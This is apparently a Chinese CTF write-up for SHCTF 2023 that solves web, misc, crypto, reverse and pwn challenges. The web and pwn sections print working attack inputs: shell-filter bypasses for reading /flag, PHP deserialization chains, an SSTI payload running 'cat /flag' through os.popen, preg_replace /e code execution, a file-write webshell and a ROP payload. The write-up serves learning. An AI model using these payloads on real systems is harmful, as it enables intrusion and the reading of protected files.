山河ctf WEB [week1]飞机大战 控制台执行won()可得flag
###[week1]babyrce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $rce = $_GET ['rce' ];if (isset ($rce )) { if (!preg_match ("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i" , $rce )) { system ($rce ); }else { echo "hhhhhhacker!!!" ."\n" ; } } else { highlight_file (__FILE__ ); }
发现好玩的
uniq11${IFS}/fla?
1 2 /bin/?at${IFS}f??????? /bin/??t$IFS????????可以看flag.sh,奈何环境变量给删了
[week1]1zzphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0); highlight_file('./index.txt'); if(isset($_POST['c_ode']) && isset($_GET['num'])) { $code = (String)$_POST['c_ode']; $num=$_GET['num']; if(preg_match("/[0-9]/", $num)) { die("no number!"); } elseif(intval($num)) { if(preg_match('/.+?SHCTF/is', $code)) { die('no touch!'); } if(stripos($code,'2023SHCTF') === FALSE) { die('what do you want'); } echo $flag; } }
第一数组绕过num即可,后面正则匹配code,即要变量code里有2023SHCTF,又正则匹配不能有SHCTF,回溯绕过限制就好
1 2 3 4 5 6 7 import requests datas = { "c_ode":"-"*1000000+"2023SHCTF" } res = requests.post(r'http://112.6.51.212:32794/?num[]=1', data=datas) print(res.text)
[week1]生成你的邀请函吧~
[week1]ezphp 考preg_replace/e模式代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );if (isset ($_GET ['code' ]) && isset ($_POST ['pattern' ])){ $pattern =$_POST ['pattern' ]; if (!preg_match ("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i" ,$code )) { $code =$_GET ['code' ]; preg_replace ('/(' . $pattern . ')/ei' ,'print_r("\\1")' , $code ); echo "you are smart" ; }else { die ("try again" ); } }else { die ("it is begin" ); } ?> it is begin
借鉴文章http://xz.aliyun.com/t/2557
1 2 3 get:?code=${phpinfo()} post: pattern=\S*
[WEEK1]登录就给flag 用户名为admin
爆破密码
[week1]ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file(__FILE__); class A{ public $var_1 = 'php://filter/convert.base64-encode/resource=flag.php'; public function __invoke(){ include($this->var_1); } } class B{ public $q; public function __wakeup() { if(preg_match("/gopher|http|file|ftp|http|dict|\.\./i", $this->q)) { echo "hacker"; } } } class C{ public $var; public $z; public function __toString(){ return $this->z->var; } } class D{ public $p; public function __get($key){ $function = $this->p; return $function(); } } $a=new B(); $a->q=new C(); $a->q->z=new D(); $a->q->z->p=new A(); echo serialize($a);
[WEEK2]MD5的事就拜托了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['SHCTF' ])){ extract (parse_url ($_POST ['SHCTF' ])); if ($$$scheme ==='SHCTF' ){ echo (md5 ($flag )); echo ("</br>" ); } if (isset ($_GET ['length' ])){ $num =$_GET ['length' ]; if ($num *100 !=intval ($num *100 )){ echo (strlen ($flag )); echo ("</br>" ); } } } if ($_POST ['SHCTF' ]!=md5 ($flag )){ if ($_POST ['SHCTF' ]===md5 ($flag .urldecode ($num ))){ echo ("flag is" .$flag ); } }
第一个点
1 extract (parse_url ($_POST ['SHCTF' ]));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $url = 'http://user:pass@host/path?args=value#anch'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> 结果: Array ( [scheme] => http [host] => host [user] => user [pass] => pass [path] => /path [query] => args=value [fragment] => anch ) 简单的对应关系加上变量覆盖罢了
host://SHCTF:pass@user/path
a857b5279d3c139e8ea99d5f985436ca
[WEEK2]ez_ssti 简单的模板注入
1 ?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
[WEEK2]serialize 这个题目有些个变态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );class misca { public $gao ; public $fei ; public $a ; public function __get ($key ) { $this ->miaomiao (); $this ->gao=$this ->fei; die ($this ->a); } public function miaomiao ( ) { $this ->a='Mikey Mouse~' ; } } class musca { public $ding ; public $dong ; public function __wakeup ( ) { return $this ->ding->dong; } } class milaoshu { public $v ; public function __tostring ( ) { echo "misca~musca~milaoshu~~~" ; include ($this ->v); } } function check ($data ) { if (preg_match ('/^O:\d+/' ,$data )){ die ("you should think harder!" ); } else return $data ; } unserialize (check ($_GET ["wanna_fl.ag" ]));
正则可以用数组绕过
一个新奇的思路,学到了学到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class musca { public $ding ; public $dong ; public function __construct ( ) { $this ->ding=new misca; } } class misca { public $gao ; public $fei ; public $a ; public function __construct ( ) { $this ->fei=new milaoshu; $this ->gao=&$this ->a; } } class milaoshu { public $v ='php://filter/convert.base64-encode/resource=flag.php' ; } $a =new musca;echo serialize (array ($a ));?>
[WEEK2]no_wake_up 简单的__wakeup魔术方法绕过_
?try=O:4:”flag”:3:{s:8:”username”;N;s:4:”code”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}
[WEEK2]EasyCMS tao模板漏洞
打开页面,页面显示taoCMS演示系统,想着应该有漏洞,上网搜taocms漏洞
看到文章http://blog.csdn.net/m0_46684679/article/details/129214411
访问url/admin/admin.php
弹出一个登录界面,
账户admin
密码tao
登录成功,跳转到这个界面
点击文件管理,进入../../../看到flag,点开看到flag
[WEEK3]快问快答 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requests import re import time session = requests.session() result = 1 while True: burp0_url = "" burp0_cookies = {"session": "eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NjY1NjY0OS43ODcwNTZ9.ZSDtCQ.0RE2Dez4_dd5v-o6Hk_rVi_UnpE"} burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55", "Origin": "url", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"} burp0_data = {"answer": result} res_2 = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) timu_2 = re.search(r'<h3>(.*?)</h3>', res_2.text) if '异或' in timu_2.group(1): pattern = r'题目:(\d+) 异或 (\d+) = ? ' match = re.search(pattern, res_2.text) result = int(match.group(1)) ^ int(match.group(2)) elif '与' in timu_2.group(1): pattern = r'题目:(\d+) 与 (\d+) = ? ' match = re.search(pattern, res_2.text) result = int(match.group(1)) & int(match.group(2)) else: pattern = r'题目:(\d+) (.) (\d+) = ? ' match = re.search(pattern, res_2.text) group_1 = int(match.group(1)) group_3 = int(match.group(3)) if match.group(2) == '+': result = group_1 + group_3 elif match.group(2) == '-': result = group_1 - group_3 elif match.group(2) == 'x': result = group_1 * group_3 elif match.group(2) == '÷': result = group_1 // group_3 if "flag" in res_2.text: print(res_2.text) time.sleep(1)
[WEEK3]gogogo 下载附件,是用go的gin框架 写的后端,cookie-session是由gorilla/sessions 来实现,而sessions库使用了另一个库:gorilla/securecookie 来实现对cookie的安全传输。
查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag
总共有两个路由,一个“/“路由,一个”/readflag”路由
根路由 /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package mainimport ( "main/route" "github.com/gin-gonic/gin" ) func main () { r := gin.Default() r.GET("/" , route.Index) r.GET("/readflag" , route.Readflag) r.Run("0.0.0.0:8000" ) }
最主要的一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY"))) func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "User" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200, "Hello, User. How to become admin?") }
可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, User. How to become admin?
想到需要伪造session
上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。
这里将route.go修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == "" { session.Values["name" ] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, User. How to become admin?" ) }
之后在附件目录
命令行go run main.go
之后访问127.0.0.1:8000获取session
得到session
MTY5NjY1NDM2M3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx83HZpaT0T7b2lYtEd0cAmvQ_sS926v-ycwnspOHOOGw==
这里呼应前面修改之后他不跳转,一直显示Hello, User. How to become admin?,修改之后需要访问url/readflag才能看到回显
访问url/readflag可以看到出现了你已经是admin,怎么获得flag
1 2 3 4 5 6 7 8 9 10 11 if session.Values["name" ] == "admin" { c.String(200 , "Congratulation! You are admin,But how to get flag?\n" ) path := c.Query("filename" ) reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]` ) if reg.MatchString(path) { http.Error(c.Writer, "nonono" , http.StatusInternalServerError) return }
读源码看到需要filename读文件,过滤了好多字符,没过滤?通配符读flag就好
###[WEEK3]sseerriiaalliizzee
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class Start { public $barking ; public function __construct ( ) { $this ->barking = new Flag ; } public function __toString ( ) { return $this ->barking->dosomething (); } } class CTF { public $part1 ; public $part2 ; public function __construct ($part1 ='php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php' ,$part2 ='PD9waHAgJGZpbGVDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJyk7ZWNobyAkZmlsZUNvbnRlbnQ7ID8+Cg==' ) { $this -> part1 = $part1 ; $this -> part2 = $part2 ; } public function dosomething ( ) { $useless = '<?php die("+Genshin Impact Start!+");?>' ; $useful = $useless . $this ->part2; file_put_contents ($this -> part1,$useful ); } } class Flag { public function dosomething ( ) { include ('./flag,php' ); return "barking for fun!" ; } } $a =new Start ();echo serialize ($a );
先利用CTF类向flag.php文件里写马,读到/flag内的flag放到flag.php,之后利用start类访问flag.php
ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import *import subprocessapp = Flask(__name__) def gett (obj,arg ): tmp = obj for i in arg: tmp = getattr (tmp,i) return tmp def sett (obj,arg,num ): tmp = obj for i in range (len (arg)-1 ): tmp = getattr (tmp,arg[i]) setattr (tmp,arg[i+1 ],num) def hint (giveme,num,bol ): c = gett(subprocess,giveme) tmp = list (c) tmp[num] = bol tmp = tuple (tmp) sett(subprocess,giveme,tmp) def cmd (arg ): subprocess.call(arg) @app.route('/' ,methods=['GET' ,'POST' ] ) def exec (): try : if request.args.get('exec' )=='ok' : shell = request.args.get('shell' ) cmd(shell) else : exp = list (request.get_json()['exp' ]) num = int (request.args.get('num' )) bol = bool (request.args.get('bol' )) hint(exp,num,bol) return 'ok' except : return 'error' if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
比赛的时候这个题没做出来,现在来复现一下
Subprocess.call函数有一个参数shell,当shell为True是,执行命令时是/bin/sh/ -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell、参数默认为false。
进如subprocess函数查看函数call
看到这里利用到了popen类
可以看到构造的参数中的shell默认为false
函数的默认参数保存在defaults属性中
通常查看的zhishell参数的值在第7个,所以只需要修改7下标为true就可以执行任意命令了
那该怎么修改了,通过阅读代码,可知gett函数是通过遍历json格式获取subprocess的属性
1 2 3 4 5 6 7 8 def gett (obj,arg ): tmp = obj for i in arg: tmp = getattr (tmp,i) return tmp exp = list (request.get_json()['exp' ])
我们再看sett函数
1 2 3 4 5 def sett (obj,arg,num ): tmp = obj for i in range (len (arg)-1 ): tmp = getattr (tmp,arg[i]) setattr (tmp,arg[i+1 ],num)
他会对getatt获取到的tmp的属性值,并将其更新为tmp,循环结束后,setattr函数将num设置为tmp对象的最后一个值
修改成功,进行命令执行
MISC [week1]签到
[week1]真的签到 扫二维码关注回复
[week1]请对我使用社工 出题人真会玩,对着全国万达广场挨个找的,2天 (微笑)
山东省东营市东营区中国石油大学
[week1]message
[week1]派蒙 binwalk分离出来两个txt文件,010对比不同,吧不同的抄下来
flag{4ebf327905288fca947a}
[week1]ez-misc 打开压缩包,文本文件里有一大串10101之类的,利用工具将其转换为二维码
扫描二维码的得到密码hit_k1sme4_4_fun
之后,010发现flag文件是压缩包,后缀改为压缩包文件
下面有一串二进制
01110010011011110110001101101011011110010110111101110101
转换为字符为rockyou,以为是密码,发现不对,好像是提示,需要利用kali自带的字典rockyou.txt+ARCHPR爆破即可得到密码
palomino
打开flag.txt
一串乱码
词频分析得出flag
flag{SHyk1sme4}
[WEEK1]Steganography careful图片看到
拿去base64解密
解完为12ercs…..909jk
在careful1的详细信息里看到
xqwed对应上面的点
拼在一起12ercsxqwed909jk为压缩包密码
[WEEK1]也许需要一些py THIS1SY0UKEY
this1sy0ukey
两个对应两个文件密码,第一个flag改文件头,发现一个md5
63e62fbce22f2757f99eb7da179551d2
flag.txt文本里一个假flag
变换一下大小写
flag{Png_AnD_md5_so_GReAt}
[week2]表里的码 先转换为execl文档
发现有空格,将所有空格转换为1,发现有点像二维码
发现1还有加粗之分,粗体的在四周,更像二维码了
之后替换,将粗体换为黑色,常规字体换为白色
[WEEK2]图片里的秘密 binwalk分解一下
之后fft水印解密
[WEEK2]可爱的洛琪希 下载附件,打开一串乱码
base64转图片
得到
根据题目面描述,查看图片属性,再详细信息里看到一段数字
736c6e6f7b52626b795f71696966686b76217d
解密
010打开图片得到一个key
之后维吉尼亚解密
flag{Roxy_daisuki!}
[WEEK2]奇怪的screenshot
magnet:?xt=urn:btih:flagCVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure
[week2]远在天边尽在眼前 抓包复制flag,忘记存flag了。。。。
[WEEK3]ez_usb 利用脚本
1 python3 knm.py pca -i ez_usb.pcapng -o 2.txt(过滤2.8.1)
转换为rar压缩包
密码
1 python3 knm.py pca -i ez_usb.pcapng -o 3.txt(过滤2.10.1)
adabb04a5e9a6c33
python3 knm.py keyboard -i 2.txt
1 <ALT>526172211a0700<CAP>c<CAP>f907300000d000000000000002f507424943500200000002<CAP>0000000<CAP>02a3021b4d577f06551d33080020080000666c61672e<CAP><CAP>747874<CAP>7cc<CAP>34ada98d<CAP>a<CAP>7d<CAP>020<CAP>0f035680325f6866372<CAP>47<CAP>92af0b91c<CAP>e8<CAP>6c1b46ed4b180d5a<CAP>8a7<CAP>c626ad<CAP>b5ceb2f<CAP>f8cf1<DEL>2<CAP><CAP><CAP>4<CAP><CAP>a<DEL><CAP><CAP>8<DEL><CAP><CAP><CAP><CAP><CAP><DEL>4<CAP>104c43d7b0040070<CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP>0a<DEL>
打开压缩包得到flag
flag{c6bd1c7bcfef89ffbf59d86ccaf97d3c}
[WEEK3]尓纬玛 打开一张二维码,直接扫发现扫描失败,借鉴2022菜狗杯迅即响应,考察了二维码的纠错码
用QRazyBox的Extract QR Information
功能
http://merri.cx/qrazybox/
可以得到:
1 Final Decoded string : Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRcOde_has_many_kindS_of_secre7s
只有一半,
这是纠错码纠错后的内容
把左侧纠错码区域涂白
1 Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRcOde_has_many_kindS_of_secre7s_NOw_y0u_Know_1_57b8Go}
flag{QRcOde_has_many_kindS_of_secre7s_NOw_y0u_Know_1_57b8Go}
[final]问卷
CRYPTO [week1]凯撒大帝 flag{chutihaonan}
[week1]进制 两次16进制解密
flag{ahfkjlhkah}
[week1]迷雾 摩斯解密
flag{morse_is_very_fun}
[week1]really_ez_rsa flag{Y0ung_meiyou_xiaojj}
[week1]what is m flag{7h3RE_4rE_SeV3r4L_4lTernAtive5_tO_7H3_L0NG_to_bYTes_fUnCTioN_4Eede4IzECT7}
[week1]小兔子可爱呢
flag{i_love_technology}
[week1]Crypto_checkin flag{Th1s_1s_B4s3_3nc0d3}
[week1]难言的遗憾
flag{一天不学高数我就魂身难受}
[week1]熊斐特 flag{123456789}
[week1]缺失的MD5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlib src1="KCLWG" src2="K8M9O3" src3="DE" src4="84S9" dic = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] for i in range(26): for j in range(26): for k in range(26): src=src1+dic[i]+src2+dic[j]+src3+dic[k]+src4 print (src) m2 = hashlib.md5() m2.update(src.encode()) print (m2.hexdigest())
[week1]黑暗之歌 先盲文解密
之后base64
解出音符后,音符解密
flag{b2cc-9091-8a29}
[week1]佛说:只能4天
和谐公正和谐公正和谐法治和谐公正和谐法治和谐公正和谐平等和谐公正和谐公正和谐法治和谐公正和谐公正和谐公正和谐民主自由平等和谐敬业和谐和谐自由敬业自由敬业和谐和谐自由敬业和谐富强和谐敬业和谐爱国和谐公正和谐公正和谐公正和谐法治和谐公正和谐公正和谐公正和谐公正和谐公正和谐公正和谐法治和谐法治自由公正和谐法治自由法治和谐和谐和谐敬业自由爱国和谐民主和谐和谐自由法治自由公正和谐和谐自由法治
66767656676661E93II3I098666766666677F7G39H13GF3G
栅栏4烂
凯撒3flag{mission_accomplish}
[week1]立正 字符串逆序,之后解码
得到
EmxhE8tERKAfYAZ6S636dIWuEK46ZK4yRBdNdK4uRKd4
之后脚本解
原理是,对照flag{的base64,大写字母偏移21位,小写字母不偏移,数字加5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def shift_string(string): shifted = "" for char in string: if char.isupper(): shifted += chr((ord(char) - ord('A') + 21) % 26 + ord('A')) elif char.isdigit(): shifted += str((int(char) + 5) % 10) else: shifted += char return shifted # Example usage: input_string = "EmxhE8tERKAfYAZ6S636dIWuEK46ZK4yRBdNdK4uRKd4" shifted_string = shift_string(input_string) print(shifted_string)
[week2]哈希猫 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import hashlibimport itertoolsimport stringimport tqdmhashs =['题目的hash值' ] def hashDigest (hash_algo, string ): hash_func = hash_map.get(hash_algo) if hash_func: return hash_func(string.encode()).hexdigest() else : raise ValueError('Invalid hash algorithm' ) hash_map = { 'md5' : hashlib.md5, 'sha1' : hashlib.sha1, 'sha224' : hashlib.sha224, 'sha256' : hashlib.sha256, 'sha384' : hashlib.sha384, 'sha512' : hashlib.sha512, } flag = "" for hash in tqdm.tqdm(hashs): solved = 0 for x in itertools.product(string.ascii_letters+string.digits+"_'" , repeat=2 ): for type in list (hash_map.keys()): if hashDigest(type , "" .join(x)) == hash : flag+= "" .join(x) solved = 1 break if solved == 1 : break if solved == 1 : continue for x in itertools.product(string.ascii_letters+string.digits+"_'" , repeat=3 ): for type in list (hash_map.keys()): if hashDigest(type , "" .join(x)) == hash : flag+= "" .join(x) solved = 1 break if solved == 1 : break if solved == 1 : continue for x in itertools.product(string.ascii_letters+string.digits+"_'" , repeat=1 ): for type in list (hash_map.keys()): if hashDigest(type , "" .join(x)) == hash : flag+= "" .join(x) solved = 1 break if solved == 1 : break print (flag)
[week2]e?
###[week2]factorizing_n
分解n太痛苦了,删了好几遍yafu,最后还好分完了,可是忘了存截图,思路就是先分解n,其中有一个分解出来还需要再分解一次,之后就是正常的rsa了
[week2]ez_rsa re [week1]ez_asm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 flag = bytearray("nhuo[M`7mc7uhc$7midgbTf`7`$7%#ubf7 ci5Y", "utf-8") # 将字符串转换为字节数组 for i in range(39): byte = flag[i] # 从flag中取出一个字节 byte ^= 0x1E # 异或操作 flag[i] = byte # 将结果存回flag中 byte -= 0x0A # 减去0x0A flag[i] = byte # 将结果存回flag中 flag = flag.decode() # 将字节数组转换为字符串 print(flag) # 打印flag flag{It_is_als0_impor@nt_t0_13arn_4sm!}
[week1]eazy_math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from sympy import symbols, Eq, solve def solve_equations(): l = symbols('l0:6') # 创建6个符号变量 # 创建方程 equations = [ Eq(593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5], 0x5b8e0aef71d34ff43), Eq(605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5], 0x551a262360964ef7f), Eq(373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5], 0x49d158a5657d6931c), Eq(560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5], 0x625568d5abbabf4f3), Eq(717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5], 0x50ee0c025e70e3c23), Eq(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5], 0x40e735f8aa2815f65) ] # 解方程组 solutions = solve(equations, l) return solutions # 使用函数 solutions = solve_equations() if solutions: l_values = [solutions[l_i] for l_i in sorted(solutions, key=lambda x: int(x.name[1:]))] flag = '' for l_value in l_values: hex_value = hex(int(l_value))[2:] flag += bytearray.fromhex(hex_value).decode('utf-8') print("Flag:", flag) else: print("No solution found.")
[week1]signin
ida打开就有flag
[week1]easy_re 进入main函数,看到des,点进去
flag{Try_t0_sl0v3_the_binary_pr0bl3m}
[week3]java是最棒的语言吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import java.nio.charset.StandardCharsets;import java.util.Arrays;public class ChaCha20Decrypt { public static void main (String[] args) { String encryptedFlag = "ce43283af73d106815fe5293b474f5309d44063c7fde19533300c60603dfe528d19aee2f6db615191e45" ; byte [] encryptedBytes = hexStringToBytes(encryptedFlag); byte [] key = "Shctf_Welcomes_Have_4_good_t1me_" .getBytes(); byte [] nonce = "HsehrcOedfgs" .getBytes(); byte [] decryptedBytes = decrypt(encryptedBytes, key, nonce); String decryptedFlag = new String (decryptedBytes, StandardCharsets.UTF_8); System.out.println("Decrypted flag: " + decryptedFlag); } private static byte [] decrypt(byte [] encrypted, byte [] key, byte [] nonce) { int [] state = chachaInit(key, nonce); byte [] decrypted = new byte [encrypted.length]; byte [] block = new byte [64 ]; for (int i = 0 ; i < encrypted.length; i += 64 ) { chachaBlock(state, block); for (int j = 0 ; j < 64 && i + j < encrypted.length; j++) { decrypted[i + j] = (byte ) (encrypted[i + j] ^ block[j]); } state[12 ]++; } return decrypted; } private static int [] chachaInit(byte [] key, byte [] nonce) { int [] state = new int [16 ]; state[0 ] = 1634760805 ; state[1 ] = 857760878 ; state[2 ] = 2036477234 ; state[3 ] = 1797285236 ; for (int i = 0 ; i < 8 ; i++) { state[4 + i] = bytesToIntLittleEndian(key, i * 4 ); } state[12 ] = 0 ; state[13 ] = 0 ; state[14 ] = bytesToIntLittleEndian(nonce, 0 ); state[15 ] = bytesToIntLittleEndian(nonce, 4 ); return state; } private static void chachaBlock (int [] state, byte [] block) { int [] temp = Arrays.copyOf(state, 16 ); for (int i = 0 ; i < 10 ; i++) { chachaDoubleRound(temp); } for (int i = 0 ; i < 16 ; i++) { intToBytesLittleEndian(state[i] + temp[i], block, i * 4 ); } } private static void chachaDoubleRound (int [] state) { quarterRound(state, 0 , 4 , 8 , 12 ); quarterRound(state, 1 , 5 , 9 , 13 ); quarterRound(state, 2 , 6 , 10 , 14 ); quarterRound(state, 3 , 7 , 11 , 15 ); quarterRound(state, 0 , 5 , 10 , 15 ); quarterRound(state, 1 , 6 , 11 , 12 ); quarterRound(state, 2 , 7 , 8 , 13 ); quarterRound(state, 3 , 4 , 9 , 14 ); } private static void quarterRound (int [] state, int a, int b, int c, int d) { state[a] += state[b]; state[d] = rotateLeft(state[d] ^ state[a], 16 ); state[c] += state[d]; state[b] = rotateLeft(state[b] ^ state[c], 12 ); state[a] += state[b]; state[d] = rotateLeft(state[d] ^ state[a], 8 ); state[c] += state[d]; state[b] = rotateLeft(state[b] ^ state[c], 7 ); } private static int rotateLeft (int value, int count) { return (value << count) | (value >>> (32 - count)); } private static int bytesToIntLittleEndian (byte [] bytes, int offset) { return (bytes[offset + 3 ] & 0xFF ) << 24 | (bytes[offset + 2 ] & 0xFF ) << 16 | (bytes[offset + 1 ] & 0xFF ) << 8 | (bytes[offset] & 0xFF ); } private static void intToBytesLittleEndian (int value, byte [] bytes, int offset) { bytes[offset] = (byte ) (value & 0xFF ); bytes[offset + 1 ] = (byte ) ((value >>> 8 ) & 0xFF ); bytes[offset + 2 ] = (byte ) ((value >>> 16 ) & 0xFF ); bytes[offset + 3 ] = (byte ) ((value >>> 24 ) & 0xFF ); } private static byte [] hexStringToBytes(String hex) { int length = hex.length(); byte [] bytes = new byte [length / 2 ]; for (int i = 0 ; i < length; i += 2 ) { bytes[i / 2 ] = (byte ) ((Character.digit(hex.charAt(i), 16 ) << 4 ) + Character.digit(hex.charAt(i + 1 ), 16 )); } return bytes; } }
###[week3]crackme
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import stringcode_ = [ 54 , 57 , 566 , 532 , 1014 , 1 , 7 , 508 , 10 , 12 , 498 , 494 , 6 , 24 , 14 , 20 , 489 , 492 , 0 , 10 , 490 , 498 , 517 , 539 , 21 , 528 , 517 , 530 , 543 , 9 , 13 , 0 , 4 , 51 , 562 , 518 , 526 , 8 , 8 , 516 , 0 , 518 , 7 , 573 , 2 , 513 , 3 , 5 , 41 , 31 , 1 , 594 , 117 , 15 ] flag_ = 'flag{' print (len (code_))x = 3 while True : if x == len (code_)-1 : break for s in string.printable: flag = flag_+s+'0' code = '' l = len (flag) for i in range (l): num = ((ord (flag[i]) + i) % 333 + 444 ) % 555 code += chr (num) code = list (map (ord , code)) for i in range (l): code[i] = code[i] ^ code[(i + 1 ) % l] ^ code[(i + 2 ) % l] ^ code[i] if code[x] == code_ [x]: print (flag_) x += 1 flag_+=s print (flag_) break
pwn nc cat /flag
flag{ca3a4566-cb04-481b-a445-494dab9764ab}
hard nc ls -al
cat .gift
cd gift2
cat flag2
flag{798254d5-81a6-48ea-acd4-0e1612b84804}
[week1]四则计算 1 2 3 4 5 6 7 8 9 10 from pwn import* \# io = remote('' ) io = process('./alloc') \# gdb.attach(io) context.log_level = 'debug' ret=0x000000000040101a payload = b'\x00'*58 + p64(ret) + p64(0x04015DC) io.send(payload) \# io.sendline(b'0') io.interactive()
##[week2]blockchain signin
准备工作 nc工具 MetaMask remix网站
本题借鉴文章http://coldwinds5167.github.io/2022/10/Blockchain-solve/
先利用题目给了水龙头,创建一个账户
根据要求,发多于0.01个测试币注册账号
之后访问2(需要手动推出nc重新链接)
提取他给的contrant address
